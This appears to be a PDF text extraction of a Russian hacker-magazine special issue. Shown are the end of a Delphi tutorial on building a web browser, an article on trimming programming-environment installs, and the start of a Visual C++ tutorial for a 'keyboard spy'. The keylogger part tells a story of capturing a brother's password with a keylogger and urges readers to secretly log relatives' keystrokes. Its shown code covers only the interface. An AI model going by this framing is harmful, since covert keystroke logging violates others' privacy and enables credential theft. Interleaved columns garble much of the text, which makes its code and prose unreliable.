Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 4_compressed

.pdf
Скачиваний:
15
Добавлен:
20.04.2024
Размер:
7.13 Mб
Скачать

 

 

КОНСТРУКТОР

 

 

 

>СПЕЦВЫПУСК #4

0045

69

 

ВЕННЫЙ

ÅÐ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

список) и переходи в ObjectInspector. Здесь ты

занный в ComboBox1

Теперь дважды кликни по кнопке “Открыть”, и

 

 

 

должен выделить закладку “Events” и произвес-

 

 

 

Delphi автоматически создаст процедуру, кото-

 

ти сложнейшее действие ДоублеКлике по стро-

Конец.

 

 

рая будет вызываться при нажатии этой кнопки.

 

 

 

ке “OnKeyDown”. ДоублеКлике нужно произво-

 

 

 

В этой процедуре нужно написать следующее:

 

 

 

дить в правой половине строки. Если ты не пом-

Нажми “F9”, и твоя прога должна засвистеть.

 

 

 

 

 

нишь, где находиться “право” :), то щелкай по

Введи какой-нибудь адрес в строку ComboBox и

procedure

TForm1.ToolButton1Click(Sender:

 

 

 

выпадающему списку (это и есть “право”). Как и

нажми Enter (это клавиша на кейборде :)). Если

TObject);

 

 

 

 

 

 

 

 

раньше, Delphi создаст процедуру. Она будет

ты правильно ввел адрес, то в WebBrowser1 че-

begin

 

 

 

 

вызываться каждый раз, когда ты будешь вво-

рез несколько минут должен появиться указан-

 

if OpenDialog1.Execute then

 

 

 

äèòü

какую-нибудь букву в “ComboBox”. Здесь

ный Home Page. Когда наиграешься со своим

 

begin

 

 

 

 

 

 

 

òû

должен написать следующее:

 

произведением, то возвращайся в Delphi. Мы

 

 

 

 

 

 

 

 

 

еще многое должны сегодня успеть сделать.

WebBrowser1.Navigate(OpenDialog1.FileName);

 

 

 

procedure TForm1.ComboBox1KeyDown(Sender:

Улучшаем свой браузер

 

ComboBox1.Text:=OpenDialog1.FileName;

 

 

 

 

 

 

 

TObject; var Key: Word;

 

 

 

 

 

 

 

Shift: TShiftState);

 

Кликни по ToolBar1 и снова переходи в

 

end;

 

 

 

 

 

 

 

 

 

 

 

begin

 

ObjectInspector. Здесь нужно изменить свойства

end;

 

 

 

 

 

 

if Key= VK_RETURN then

 

“AutoSize”, “ShowCaption” è “Flat” íà “true” (âñå

Как всегда, объясняю по понятиям:

 

 

 

 

 

 

 

 

 

 

 

 

 

они по умолчанию равны false). Теперь щелкай

 

 

 

WebBrowser1.Navigate(ComboBox1.Text);

 

правой кнопкой по ToolBar1 и из появившейся

 

 

 

 

 

end;

 

менюшки выбирай пункт “New Button”. На

Начать

 

 

 

 

 

 

 

 

ToolBar1 должна появиться новая пимпа с име-

 

 

 

 

 

Примечание! Набирать на клаве нужно только

нем “ToolButton1”. Выдели ее и в

Если OpenDialog1 удачно запущен, то

 

 

 

то, что написано между Begin и End, все осталь-

ObjectInspector-е поменяй свойство Caption на

 

 

 

 

 

ное уже должно быть создано Delphi. В данном

“Открыть”. Создай еще насколько кнопок с заго-

 

Начать

 

 

 

случае ты должен набрать только “if

Key=

ловками: Назад, Вперед, Стоять, Обновить и

 

WebBrowser1.Перейти на указанное

 

 

 

VK_RETURN

then

Печать. Результат должен быть похож на рису-

имя файла в OpenDialog1;

 

 

 

 

 

 

WebBrowser1.Navigate(ComboBox1.Text)”,

ïðè-

íîê 6.

 

 

 

ComboBox1.Текст присвоить значе-

 

 

 

чем без кавычек. Я остальные строчки привожу

 

 

 

ние OpenDialog1.ИмяФайла

 

 

 

только чтобы тебе было удобно глазеть и срав-

 

 

 

 

Закончить

 

 

 

нивать с тем, что за тебя делает Delphi.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Закончить

 

 

 

 

Теперь то же самое, но по понятиям:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь ты можешь запустить прогу и открыть с

 

 

 

Процедура ComboBox1.КлавишаНажата (Sender

 

 

 

помощью этой пимпы любой файл на диске. Но,

 

 

 

- Адрес ComboBox1;

 

 

 

 

я думаю, что торопиться не надо. Заставим ра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ботать остальные кнопки! Дважды кликни по

 

 

 

 

 

Key - КодНажатойКлавиши; Shift -

 

 

 

кнопке “Назад”. Какой будет результат, ты уже

 

 

 

состояние клавиш Shift, Ctrl,Alt)

 

Рисунок 6

 

 

догадался. Напиши тут следующее:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Начало

 

 

 

 

 

procedure

TForm1.ToolButton2Click(Sender:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TObject);

 

 

 

 

Если КодНажатойКлавиши равен Enter, то

 

Установи еще на форму “OpenDialog” из заклад-

begin

 

 

 

 

 

 

 

 

ки “Dialogs” палитры компонентов. Он нам скоро

 

WebBrowser1.GoBack;

 

 

 

 

 

WebBrowser1.Перейти на адрес, ука-

понадобится.

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

70

0046

КОНСТРУКТОР

 

 

 

>СПЕЦВЫПУСК #4

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Я думаю, что здесь ничего объяснять не надо.

Для начала брось на форму StatusBar из заклад-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мы просто заставляем WebBrowser1 идти на

ки “Win32” и измени у него свойство

 

 

 

 

 

 

 

 

 

предыдущую страницу.

“SimplePanel” в true (по умолчанию false). Теперь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выдели WebBrowser1 и щелкни по закладке

 

 

 

 

 

 

 

 

 

Повтори те же операции для кнопки “Вперед”,

“Events” в ОbjecInspector-е. Дважды кликни по

 

 

 

 

 

 

 

 

 

чтобы создать процедуру. Напиши для нее сле-

строке “OnStatusTextChange”

и напиши в соз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дующий код:

данной процедуре следующее:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure

TForm1.ToolButton3Click(Sender:

procedure

TForm1.WebBrowser1StatusTextCha-

 

 

 

 

 

 

 

 

 

TObject);

 

nge(Sender: TObject;

 

 

 

 

 

 

 

 

 

begin

WebBrowser1.GoForward;

begin

const Text: WideString);

 

Рисунок 7

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

StatusBar1.SimpleText:=Text;

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для кнопки “Стоять” напиши: “Стоять на месте

 

 

 

 

 

 

 

 

 

вать их с помощью

свойства ImageIndex

ó êíîï-

 

 

свистком в небо, руки по швам”. Шучу :). Напи-

Здесь мы присваиваем переменную “Text” (в

ки. Например: щелкни

по кнопке “Стоять”

è èç-

 

 

ши лучше это:

ней хранится текст подсказки) в StatusBar1. Те-

ìåíè ImageIndex íà

0. На кнопке должна поя-

 

 

перь ты сможешь видеть подсказки в строке

виться картинка, указанная первой в ImageList1.

 

 

 

 

procedure

TForm1.ToolButton4Click(Sender:

состояния.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TObject);

 

 

 

 

 

 

 

 

 

 

Можешь создать еще один ImageList, который

 

 

begin

 

Давай добавим ещ¸ индикатор загрузки. Для

подставляется в HotImages. В этом случае кар-

 

WebBrowser1.Stop;

этого брось на форму ProgressBar из закладки

тинки из этого ИмаджеЛиста будут подставлять-

end;

 

“Win32”. Измени у него свойство “Align” на

ся на кнопку, когда ты наводишь на нее маусом.

 

 

 

 

 

 

 

“alBottom”, чтобы он находился вдоль нижней

 

 

 

 

 

 

 

 

 

Для пимпы “Обновить”:

границы формы. Снова выдели WebBrowser1 и

Капец

 

 

 

 

 

 

 

 

 

щелкни по закладке “Events” в ОbjecInspector-е.

 

 

 

 

 

 

 

 

 

procedure

TForm1.ToolButton5Click(Sender:

Дважды щелкни по строке “OnProgressChange” и

Все, косметический ремонт окончен. Дави на

 

 

 

 

 

TObject);

 

напиши в созданной процедуре:

 

 

 

 

 

“F9”, и Delphi в последний раз создаст тебе

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

окончательную версию. На рисунке 8 ты можешь

 

 

WebBrowser1.Refresh;

procedure

TForm1.WebBrowser1ProgressCha-

увидеть результат сегодняшней работы.=

 

end;

 

nge(Sender: TObject; Progress,

 

 

 

 

 

 

 

 

 

И, наконец, для пимпы “Печать”:

 

ProgressMax: Integer);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure

TForm1.ToolButton6Click(Sender:

 

ProgressBar1.Max:=ProgressMax;

 

 

 

 

 

 

 

 

 

TObject);

 

 

ProgressBar1.Position:=Progress;

 

 

 

 

 

 

 

 

 

var

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PostData, Headers:OLEvariant;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

Здесь мы созданному ProgressBar1 (индикатор

 

 

 

 

 

 

 

 

 

WebBrowser1.ExecWB(OLECMDID_PRINT,OLECM

загрузки) присваиваем максимальное значение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DEXECOPT_DODEFAULT,PostData, Headers);

(ProgressMax) и текущее значение (Progress).

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь надо украсить наши кнопки, а то они

 

 

 

 

 

 

 

 

 

Здесь только одна строка, но очень сложная,

смотрятся как сам IE. Для этого брось на форму

Рисунок 8

 

 

 

 

 

 

 

поэтому я не стану ее объяснять. Скажу только,

ImageList и произведи по нему ДоублеКлик. Пе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

что в этой строке я посылаю команду через OLE

ред тобой откроется окно, как на рисунке 7. Сю-

 

 

 

 

 

 

 

 

 

ядру IE. Просто скопируй ее один к одному в

да нужно добавить картинки размером 16х16.

Можешь пользоваться

полноценным браузером

 

 

свой исходник и поверь мне на слово.

Для этого нажми кнопку “Add”, и перед тобой от-

в свое удовольствие.

Конечно же, это не все

 

 

кроется стандартное окно открытия файла. Най-

возможности, которые можно выцепить из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь можешь нажать “F9”, и твоя прога дол-

ди картинку и нажми “Открыть”. Повтори эту

WebBrowser1. Сюда еще очень многое можно

жна запуститься. Попробуй поиграть с ней. Неп-

процедуру 6 раз (6 картинок для 6-и кнопок).

добавить - главное, чтобы хватило воображения

лохие ощущения? Закрывай свой браузер, оста-

После всего этого нажми “ОК”.

и умений. Но это уже специфические детали, и

лись последние штрихи!

Теперь выдели ToolBar1 и в ObjectInspector-е

я их описывать не буду, потому что тебе понадо-

 

 

 

 

бится объяснять все принципы программирова-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Последние штрихи

измени свойство Images на “ImageList1”. На

ния на Delphi. А это - целая история. Пиши, ес-

 

 

твоих кнопках должны появиться картинки. Если

ли что, и удачи!

 

 

 

 

 

 

 

Твой браузер почти готов. Я только наведу не-

ты добавлял картинки не в том порядке, как они

 

 

 

 

 

 

 

 

 

большой

марафет.

у тебя стоят на форме, то можешь пересортиро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ТЕОРИЯ

 

 

 

>СПЕЦВЫПУСК #4

0047

71

 

ИНСТАЛЛИМ ЯЗЫКИ

ПРОГРАММИРОВАНИЯ

CJ Pusher (lapkarelief@mail.ru)

Один мой друг, если у него слетают винды, все время просит меня их установить. Я всегда помогал ему с удовольствием, но недоумевал, какие сложности могут быть при установке мастдая или какой-либо проги. И думал я так, пока не стал инсталлировать себе Visual C++ с 200-ми свободными мегами на винте. Пому- читься пришлось здорово, чтобы сжать

эту громадину до нормального размера. Вероятно, чувак, тебе придется испытать то же самое с любым подобным софтом.

72

0048

ТЕОРИЯ

 

 

>СПЕЦВЫПУСК #4

 

 

 

 

 

 

 

Дельфины и их состав

очень, то... не можешь. Решать тебе, ставить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Visual C++ - The Fat Of The Land

 

 

 

 

 

 

 

 

 

 

 

 

 

ýòî èëè íåò.

 

 

 

 

 

 

 

 

 

 

 

 

 

Delphi - это простая и очень визуальная среда.

j) Visual Component Library Source - исходники

Жир земли, который

надо сбрасывать.

 

Угадай,

 

 

В ней удобно работать, и ее легко изучить.

VCL основной Дельфевской библиотеки. См.

сколько весит полная установка? 430

мегов на

 

 

Вполне вероятно, что ты захочешь поставить

предыдущий пункт.

 

винте. Хотя чему тут удивляться - Visual

Studio,

 

 

именно Delphi. При установке надо выбрать

k) Team Development Support - поддержка ко-

в состав которого входит Visual C++,

занимает

 

 

Custom вариант. Вот какие компоненты можно

манды разработчиков. Твоя команда - ты сам.

шесть компактов. Воистину рекордсмен по

 

 

 

поставить в Delphi 3:

 

 

 

 

 

Доверяй только себе, и тогда

все получится.

поеданию винчестеров. Как сократить

объем?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Зачем нам команда? Мы не

футболисты...

Только правильным

выбором компонентов.

 

 

 

1) Delphi 3 - главные файлы приложения. Тебе

l) Help Files - справка. Никогда

не брезгуй по-

Вся прога состоит

из четырех главных

элемен-

 

 

 

они нужны не все, поэтому надо нажать

мощью, и тогда ты будешь

хорошим кодером.

тов, каждый из

которых содержит еще

компо-

 

 

 

 

 

 

 

 

 

 

 

Ставь.

 

 

 

 

 

 

 

 

Options, чтобы открыть состав Delphi 3, а он

 

ненты.

 

 

 

 

 

 

 

 

 

 

 

 

такой:

 

 

 

 

 

 

 

 

 

 

m) MS SDK Help Files - мракософтовская по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

a) Program Files - основные программы. Без

мощь по всему, что связано с мастдаем. Она

1) VC++ Developer Studio - интегрированная

 

них ничего не заработает, поэтому этот пункт

есть в каждом языке, и если ты ее поставил в

среда. Без нее никуда.

 

 

 

 

 

 

 

 

нельзя отключать.

 

 

 

 

 

одном языке, то в другом она уже не нужна.

 

 

 

 

 

 

 

 

 

 

 

 

 

b) Image Editor - редактор картинок. Он помо-

Åñëè ó òåáÿ åñòü Microsoft Developer Network,

2) VC++ Runtime Libraries - библиотеки языка

 

жет рисовать

ñâîè

 

 

 

 

 

 

 

 

 

 

 

 

С. Здесь

нужны не

 

 

 

иконки,

курсоры.

 

Если ты полон желания кодить,

все опции:

 

 

 

 

 

 

 

Может понадобить-

то скорее беги в Митино и за-

 

 

 

 

 

 

 

 

 

 

 

ñÿ, õîòÿ

ýòî

âñå

 

 

 

a)

Static

 

 

CRT

 

можно

делать

 

è â

 

купайся самым последним софтом

Libraries - статичес-

 

 

Corel’å.

 

 

 

 

 

по программированию. Однако

êèå

библиотеки, то

 

 

 

c) Visual

 

Query

 

åñòü

êîä

 

èç

íèõ

 

 

 

Builder - визуальный

 

поставить на комп какую-нибудь

вставляется

 

 

â

 

 

 

построитель

запро-

 

визуальную среду программиро-

EXE’øíèê, èç-çà ÷å-

 

сов к базам данных -

 

вания становится непросто,

го он сильно увели-

 

 

прога, недостойная

 

когда винт у тебя размером

чивается

â

разме-

 

 

 

настоящего

хакера.

 

ðàõ,

çàòî

îí

будет

 

 

 

Запросы

íàäî

ïè-

 

далеко не десятки гигабайт.

работать, даже если

 

сать ручками!

Ýòî

 

Большинство компиляторов

в системе нет DLL с

 

же элементарно. К

 

 

 

сильно раздуты: некоторые

библиотекой языка

 

свиньям его.

 

 

 

 

С. На всякий случай

 

d) WinSight32 - âðî-

 

дотягивают до трех сотен

можно поставить.

 

де должна помогать

 

мегов. Поэтому, обычно,

 

 

 

 

b)

Shared

CRT

 

при отладке

 

ïîä

 

 

 

 

 

Libraries - библиоте-

 

мастдаем.

 

Сомне-

 

приходится выкидывать

 

 

 

 

êè,

находящиеся в

 

ваюсь. Без

íåå

 

из установки до фига разных

 

 

 

DLL. Очень

удобная

 

прекрасно

 

ñïðà-

 

ненужных компонентов.

 

 

 

 

вещь, и, в основном,

 

вишься -

поверь

 

 

 

 

 

ты будешь

пользо-

 

ìíå.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ваться этими

áèá-

 

 

 

e) Sample Programs -

 

 

 

 

 

 

то не ставь этот компонент - в MSDN все это

 

 

 

 

лиотеками.

 

 

 

 

 

 

примеры для Delphi.

Если ты хочешь, то мо-

c) CRT Source Code - для продвинутых, исход-

 

жешь их поставить.

Правда, запустив их один

åñòü.

ники библиотек языка. Позволяют отлаживать

 

раз, больше про них

не вспомнишь.

 

 

проги на уровне библиотек и занимают много

 

f) Internet Controls -

элементы управления для

2) Database Desktop - нужна, если ты очень

места. Незачем загрязнять винт.

 

 

 

 

 

 

 

Инета. Ты же хакер!

А Инет сейчас в моде (по-

серьезно занимаешься базами данных.

d) Single Threaded CRT Libraries - “однопоточ-

 

ка еще). Пригодится.

 

 

 

 

 

 

3) Borland Database Engine - äàæå åñëè òû íå-

ные” библиотеки. Не нужны.

 

 

 

 

 

 

 

 

g) Sample ActiveX Controls - примеры элемен-

серьезно занимаешься базами данных, все

 

 

 

 

 

 

 

 

 

 

 

 

 

тов ActiveX. Уверен, что если тебе что-нибудь

равно ставь этот компонент. Жизнь тогда ста-

3) VC++ MFC and Template Libraries - библио-

 

из этого потребуется, то можно будет найти в

нет намного легче, и написать любую базу

теки MFC и библиотеки шаблонов. Без них

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сто раз лучше на любом Add-On’е к Дельфям.

данных станет как раз плюнуть.

мало пользы от Visual C++, так как это основ-

 

h) Image Files - картинки. У меня в институте

4) SQL Links - поставь все - не обеднеешь.

ные его компоненты. Но так как они занимают

 

была преподша, которая ставила оценку по

 

 

очень много места, не все оттуда надо ста-

 

программе за красивые картинки. Уж картин-

Это весь состав Delphi 3. Максимум, на сколь-

âèòü:

 

 

 

 

 

 

 

 

 

ки-то красивые мы с тобой рисовать умеем.

ко можно поставить это на 133 мега. После

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Спасибо, не надо.

 

 

 

 

 

 

некоторого времени освоения Delphi тебе,

a) MS Fundation Class Libraries - библиотеки

 

i) Debug Library Files - отладочные версии биб-

скорее всего, потребуется докупить к нему

MFC, они состоят из:

 

 

 

 

 

 

 

 

 

лиотек. Если ты очень крут, то можешь отла-

Add-On диск с компонентами или постоянно

 

 

 

 

 

 

 

 

 

 

 

 

 

живать код на уровне библиотеки. А если не

закачивать их из сетки.

- Static Libraries - статические библиотеки. То

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ТЕОРИЯ

 

 

 

 

>СПЕЦВЫПУСК #4

0031

73

 

 

 

 

 

 

 

 

MFC. Нужно для продвинутых.

b) MS Active Template Libraries - микрософтовская библиотека шаблонов. Тебе может пригодиться, но не сейчас.

4) VC++ Build Tools - утилиты для построения программ. Среди них компилятор, компоновщик и многое другое. Придется ставить.

Обрати внимание, что в Visual C++ нет хелпа - он на отдельном диске, который называется Microsoft Developer Network. Чтобы установить MSDN, надо во время установки отключить абсолютно все опции, тогда придется при запуске MSDN все время иметь в копме его инсталляционный диск. Пытаться что-то поставить частично в MSDN бессмысленно, так как рано или поздно понадобится все. Все поставить невозможно - MSDN весит 643 мега!

Сладкая парочка

Теперь еще два представителя семейства языковых. C++ Builder и Visual basic.

Вот C++ Builder - красный строитель. Он-то как раз частый гость на винтах начинающих кодеров. Он - Builder - устанавливается в полной аналогии с Delphi - там те же компоненты, и сами по себе эти две системы почти одинаковые. А Visual basic... Уж эту среду установить - куда проще. Там только четыре компонента, и все вместе занимает всего 50 мегабайт. Или он уже достал тебя в школе %)?

Здесь есть еще один подводный камень - когда держишь прогу в руках впервые, сложно понять, что тебе пригодится и надо будет это поставить, и что не пригодится и надо будет это выбросить. Специально для тебя будет описано, как ставить на комп самые известные проги:

Delphi, Visual C++, Borland C++, Visual Basic. Так что не бойся, что, поставив какой-нибудь Си, тебе придется отказываться от других прелестей жизни, типа Need For Speed, и все такое.

же самое, что и для Satic CRT Libraries.

В России не пригодятся.

Короче: вот тебе небольшое руководство по

- Shared Libraries - DLL библиотеки. Необходи-

- Browser Database - база данных, которая об-

тому, как установить на свой комп язык прог-

мы в любом случае.

легчает обзор исходников библиотек MFC. По-

раммирования. Надеюсь, оно поможет тебе

- Static Libraries for Unicode, Shared Libraries

лезно поставить ее, если ты установишь ис-

сэкономить много места на винте, которое в

for Unicode - библиотеки для Unicode систем.

ходники к MFC (см. следующий пункт).

скором займут исходники твоих будущих прог-

Нужны в странах, где нестандартный алфавит

- Source Code - исходники MFC, которые по-

рамм. Удачи, приятель :).

(Япония, Китай и т.д.).

могают отлаживать проги на уровне библиотек

 

74

004A

КОНСТРУКТОР

>СПЕЦВЫПУСК #4

ВЫСШИЙ ПИЛОТ

КЛАВИАТУРНЫЙ

CJ Pusher (lapkarelief@mail.ru)

 

Зачем мне сниффер?

 

лохо бы представить ее интерфейс, окошки,

меню File->New и во вкладке Projects выбери

 

 

 

возможности, поведение. При запуске наше

пункт MFC App Wizard (exe).

У тебя есть старший брат? У моего друга есть.

творение будет выдавать окно с тремя кнопка-

 

Зато комп у них с братом - один на двоих. Ког-

ми: “Начать работу”, “Выход”, “Выбор Log фай-

 

да мой друг был еще маленьким, он очень хо-

ла”. Там будет поле с именем отчетного файла

 

тел полазать в Инете по account’у братца, ког-

и системное меню в левом верхнем углу с пун-

 

да тот уходил в институт. А вот логина с пас-

ктом About, где будет висеть твое имя. Нравит-

 

свордом так узнать и не мог. Так и остался ма-

ся? Если нажать кнопку начала работы, то окно

 

лыш в детстве без халявной порнухи. С тех пор

свернется, клавиатурные сообщения будут пе-

 

он сильно изменился - стал угрюмым, нелюди-

рехватываться, и в tray (рядом с часами) поя-

 

мым, часто плакал. А брат его сейчас работает

вится иконка, щелкнув которую, можно опять

 

программистом и до сих пор лазает в сетке. И

вызвать главное окно, а дальше либо прекра-

 

тут случайно нашел наш герой в директории

тить работу, либо, сменив log-файл, возобно-

 

брата очень интересный софт - прогу, которая

вить весь процесс. Чего не сможет наша прога?

 

ведет log всех нажатых на клаве кнопок. Он ре-

Во-первых, она не записывает нажатия клавиш

 

шил запустить ее перед тем, как брат полез в

в ДОС окне (зато прекрасно работает в full

 

Инет. Когда братец пошел спать, мой друг пос-

screen, что подтвердил тест на NFS 3). Во-вто-

 

мотрел этот log и нашел нужные логин и па-

рых, кофе она тоже варить не умеет - придется

Задай название проги и место, где будут жить

роль. Затем он сам полез в сеть и в первую

самому. И бутылки открывать - самому.

исходные файлы. Дальше вылезет окно, в кото-

очередь стал искать, куда заходил его брат.

Часть вторая, или с чего начать?

ром надо поставить переключатель на строчку

После недолгого нажимания клавиш, записан-

Dialog Based, то есть приложение на базе диа-

ных в log’е, он забрался на сайт садо-педофи-

 

логового окна.

лов-извращенцев с цветными иллюстрациями

Как написать на С++ нашего шпиона? Здесь

 

и анимацией. Парень пришел в ужас - он ни-

придется не только рассчитывать на wizard -

 

когда не ожидал от родного брата таких нак-

немало придется написать ручками. Поэтому

 

лонностей... А неделю назад брата посадили за

прога будет состоять из двух частей: DLL и EXE.

 

тройное изнасилование в извращенной форме.

В DLL будет содержаться код ядра, перехваты-

 

Âîò òàê.

 

 

вающий клаву. Этот кусок приложения - самый

 

 

 

 

нетривиальный и, к сожалению, останется

 

Чтобы таких случаев больше не повторялось,

практически без объяснения. Его придется це-

 

советую внимательно относиться к своим род-

ликом переписать без визардов или взять гото-

 

ственникам, работающим за твоим компом. Не

вый на сайте Х. EXE’шник будет управлять за-

 

стоит ли тебе обзавестись клавиатурным

пуском слежения, и в нем будет весь интер-

 

шпионом, который бы беспристрастно записы-

фейс. Большую часть кода сгенерит App Wizard

 

вал бы все действия юзера на винт? Сейчас у

Visual C++, и немного кода надо будет допи-

 

тебя есть возможность самому написать такую

сать. Сделать это помогут дальнейшие объяс-

 

прогу. Если у тебя уже стоит Visual C++, то

нения и картинки. Сначала мы напишем интер-

 

можно начинать прямо сейчас, если нет, то

фейс, а затем DLL.

 

пришло самое время его поставить.

Часть третья, или Let’s do it baby

 

 

 

 

 

Часть первая, или что мы хотим от

(Сделай это, баба.)

Этот вариант самый удобный для нас, потому

нашей проги?

 

 

что нам надо при запуске проги вести диалог с

 

 

 

Перейдем к делу. Запускай Visual C++ и го-

юзером. Нажми Next и продолжай. В следую-

Очень полезно знать, что будет делать прог-

товься к прорыву в сознании - ты начинаешь

щем окне убери значок ActiveX Controls, чтобы

раммка, перед тем как начать ее кодить. Неп-

делать реальные проги из воздуха. Заходи в

не использовать элементы ActiveX.

 

 

КОНСТРУКТОР

 

 

 

>СПЕЦВЫПУСК #4

004B

75

 

АЖ - ПИШЕМ SHIFFER

Снова вызови Properties, но уже для поля ввода, и во вкладке Styles пометь опцию Read-Only (поле только для чтения и не может изменяться юзером). Теперь надо связать поле ввода со строкой, в которой будет храниться отображаемое имя файла. Щелкни правой кнопкой на поле ввода и выбери пункт Class Wizard. Дальше во вкладке Member Variables (переменные члены :) ) нажми кнопку Add Variable... В поле имени, после m_ напиши какое-нибудь слово, например, FileName - получится m_FileName, и это будет имя строки, где будет храниться имя log-

Эти функции тебе вряд ли когда-нибудь понафайла. добятся. В поле ввода задай заголовок главно-

го окошка и жми Finish. Подтвердив намерение создать прогу нажатием OK, ты получишь каркас будущего клавиатурного шпиона. В первую очередь откроется окно с редактором диалого-

вого окна. Сейчас надо нарисовать наш интерфейс. Сначала надо удалить надпись “TODO...” и кнопку OK. Надо просто щелкнуть на них и нажать Del. Затем добавить две кнопки, выбрав иконку с прямоугольником на панели инструментов и нажав мышкой в место, где будет находиться будущая кнопка. Назови одну “Начать”, другую - “Выбор файла”. Чтобы поменять название кнопки, щелкни на нее правой кнопкой и выбери в меню пункт Properties, затем в поле Caption введи название кнопки. Далее надо добавить в диалог поле, где будет отображаться путь к log-файлу. Для этого достаточно просто перетащить иконку “ab|” на панели Controls в желаемое место.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь,

когда все элементы интерфейса

åñ-

Часть четвертая, или дописываем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ть, можно

задать события, на какие они

будут

интерфейс ручками

 

 

 

 

 

 

 

 

реагировать.

На события будут у нас

реаги-

 

 

 

 

 

 

 

 

 

ровать только кнопки - на щелканье по ним

Что надо сделать, если юзер щелкнет кнопку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мышкой. Чтобы добавить обработчики этого

“Начать”? Во-первых, проверить, задано ли

 

 

 

 

 

 

 

события, надо щелкнуть на желаемом эле-

имя файла отчета. Если нет, то ничего не де-

 

 

 

 

 

 

 

менте правой кнопкой мышки, выбрать пункт

лать. Во-вторых, спрятать окно и нарисовать в

 

 

 

 

 

 

 

Events в появившемся окне, нажать кнопку

tray иконку. В-третьих, запустить ядро из DLL,

 

 

 

 

 

 

 

Add and Edit. Подробности далее.

которое ловит клавиатурный ввод. Добавь об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

76

004C

КОНСТРУКТОР

 

 

>СПЕЦВЫПУСК #4

 

 

 

 

 

 

 

 

 

работчик для кнопки “Начать”, как сказано вы-

if (fdlgSave.DoModal() == IDOK)

 

ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon)

 

 

 

ше. Сразу, как нажмешь Add and Edit, появится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

редактор кода с курсором в месте, где нахо-

{

 

 

 

 

 

 

 

Теперь EXE’ник полностью готов. Осталось

 

 

 

 

 

 

 

 

 

дится сам обработчик. После строчки //TODO

 

 

 

 

 

 

 

 

только изменить About Box и перерисовать

добавь такой код:

 

 

 

 

 

